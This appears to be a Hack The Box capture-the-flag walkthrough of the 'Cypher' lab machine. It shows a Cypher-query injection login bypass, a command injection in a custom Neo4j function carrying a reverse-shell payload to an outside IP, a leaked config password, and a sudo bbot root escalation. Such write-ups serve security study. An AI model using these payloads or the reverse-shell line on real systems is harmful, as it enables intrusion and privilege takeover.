Medium
Cypher [30 pts]
Challenge Description |
Points: 30 |
Solves: 4273 |
- bypass login form on a server using Cypher SQL injection
- find definition of custom functions used in Cypher which has command injection and abuse it to get reverse shell and user password
- find exploit in sudo executable program bbot to launch root shell
Enumeration
First, we run nmap
to see, which ports are opened on the machine:
kali@kali:~/HTB/Cypher $ nmap -sC -sV -oA nmap/cypher 10.10.11.57
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-07 14:31 EST
Nmap scan report for 10.10.11.57
Host is up (0.065s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA)
|_ 256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cypher.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.04 seconds
Okay we can visit the HTTP server to see what it does.
Since we cant register (and want to access the demo but we can’t as we are not logged in), I tried to detect SQLi with admin'
as username and got some error back:
Failed to parse string literal. The query must contain an even number of non-escaped quotes.
"MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = ''' return h.value as hash"
Okay so we are dealing with Neo4j
, which uses cypher
language and we must do some sort of cypher (SQL) injection. Let’s break down the query leaked from the application code. What it does it matches relationship (user -> secret -> hash value), where username is taken from the POST request and returns the hash belonging to this user (hash of the password). Sending '//
(commenting out the rest of the query) as payload returns another error
Query cannot conclude with MATCH (must be a RETURN clause, a FINISH clause, an update clause, a unit subquery call, or a procedure call with no YIELD).
"MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = ''//' return h.value as hash"
Okay, so we can return something else than h.value
(which is the legitimate hash of the user password). So if we include something like ' return \"a9993e364706816aba3e25717850c26c9cd0d89d\"//
(escape “ if you are sending payload from burpsuite, otherwise it’s not needed), we basically return hash of password abc
. Now the query would look like this:
MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = '' return "a9993e364706816aba3e25717850c26c9cd0d89d"//' return h.value as hash
So now we are matching user with empty username. Let’s add OR injection to bind to any user and rewrite the hash for our own.
MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = '' OR 1=1 return "a9993e364706816aba3e25717850c26c9cd0d89d"//' return h.value as hash
which is the result of username ' OR 1=1 return \"a9993e364706816aba3e25717850c26c9cd0d89d\" as hash //
and password abc
and we get access to some kind of filter.
After clicking any of the filters, we automatically get some kind of query. For example, when selecting DNS query we get MATCH (n:DNS_NAME) RETURN n
and get some results back.
We can query all the labels in the database:
call db.labels()
which returns:
[{"label":"USER"},{"label":"HASH"},{"label":"DNS_NAME"},{"label":"SHA1"},{"label":"SCAN"},{"label":"ORG_STUB"},{"label":"IP_ADDRESS"}]
Now query for all the users:
match (m:USER) return m
returns:
[{"m":{"name":"graphasm"}}]
We can also query SHA1 labels (possibly linked with the user, might contain hash of his password)
match (m:SHA1) return m
which returns
[{"m":{"value":"9f54ca4c130be6d529a56dee59dc2b2090e43acf"}}]
but we cant crack it with crackstation so moving on. Let’s try fuzzing for directories with ffuf
:
kali@kali:~/HTB/cypher $ ffuf -u http://cypher.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://cypher.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
login [Status: 200, Size: 3671, Words: 863, Lines: 127, Duration: 91ms]
api [Status: 307, Size: 0, Words: 1, Lines: 1, Duration: 66ms]
about [Status: 200, Size: 4986, Words: 1117, Lines: 179, Duration: 61ms]
demo [Status: 307, Size: 0, Words: 1, Lines: 1, Duration: 65ms]
index [Status: 200, Size: 4562, Words: 1285, Lines: 163, Duration: 69ms]
testing [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 62ms]
[Status: 200, Size: 4562, Words: 1285, Lines: 163, Duration: 193ms]
:: Progress: [20116/20116] :: Job [1/1] :: 704 req/sec :: Duration: [0:00:31] :: Errors: 0 ::
We’ve already seen demo
. testing
serves a single file called custom-apoc-extension-1.0-SNAPSHOT.jar
. Using https://www.decompiler.com/ to decompile it, we can see CustomFunction.java
has this code, which is vulnerable to command injection.
public Stream<CustomFunctions.StringOutput> getUrlStatusCode(@Name("url") String url) throws Exception {
if (!url.toLowerCase().startsWith("http://") && !url.toLowerCase().startsWith("https://")) {
url = "https://" + url;
}
String[] command = new String[]{"/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url};
System.out.println("Command: " + Arrays.toString(command));
Process process = Runtime.getRuntime().exec(command);
...
Why is this useful? Because we can also call custom specified methods in cypher, such as this getUrlStatusCode
. With the correct parameters we can get command injection like this:
CALL custom.getUrlStatusCode("example.com; /bin/bash -c '/bin/sh -i >& /dev/tcp/10.10.16.153/9001 0>&1'") YIELD statusCode RETURN statusCode;
We get a shell as neo4j
but have access to /home/graphasm
files. For example we can read the bbot_preset.yml
neo4j@cypher:/home/graphasm$ cat bbot_preset.yml
targets:
- ecorp.htb
output_dir: /home/graphasm/bbot_scans
config:
modules:
neo4j:
username: neo4j
password: cU4btyib.20xtCMCXkBmerhK
and see that cU4btyib.20xtCMCXkBmerhK
is password for the user graphasm
.
graphasm@cypher:~$ ls
bbot bbot_preset.yml bbot_scans index.html modules shell.yml user.txt
graphasm@cypher:~$ cat user.txt
2ac83c0f985ff9...
Privilege Escalation
Now when we are on the box, we can list programs which we can run with sudo
graphasm@cypher:~$ sudo -l
Matching Defaults entries for graphasm on cypher:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User graphasm may run the following commands on cypher:
(ALL) NOPASSWD: /usr/local/bin/bbot
After some search we can see that this program is used for OSINT and scanning. There is also a linked vulnerability for privesc, which can be found here. What it basically does is it provides a python module systeminfo_enum.py
, which abuses the usage of custom Python modules during the OSINT scans. In this case, it spawns a new shell (when running as root it spawns root shell). The other file preset.yml
just defines the custom module directory (.
) and sets the custom module with the spawned shell. We can simply run the exploit via
sudo /usr/local/bin/bbot -t dummy.com -p /home/graphasm/preset.yml --event-types ROOT
After running the exploit we get root shell and can read the root flag:
graphasm@cypher:~$ sudo /usr/local/bin/bbot -t dummy.com -p /home/graphasm/preset.yml --event-types ROOT
______ _____ ____ _______
| ___ \| __ \ / __ \__ __|
| |___) | |__) | | | | | |
| ___ <| __ <| | | | | |
| |___) | |__) | |__| | | |
|______/|_____/ \____/ |_|
BIGHUGE BLS OSINT TOOL v2.1.0.4939rc
www.blacklanternsecurity.com/bbot
[INFO] Scan with 1 modules seeded with 1 targets (1 in whitelist)
[INFO] Loaded 1/1 scan modules (systeminfo_enum)
[INFO] Loaded 5/5 internal modules (aggregate,cloudcheck,dnsresolve,excavate,speculate)
[INFO] Loaded 5/5 output modules, (csv,json,python,stdout,txt)
[SUCC] systeminfo_enum: 📡 systeminfo_enum setup called — launching shell!
root@cypher:/home/graphasm $ whoami
root
root@cypher:/home/graphasm $ cd ~
root@cypher:~ $ cat root.txt
72925c...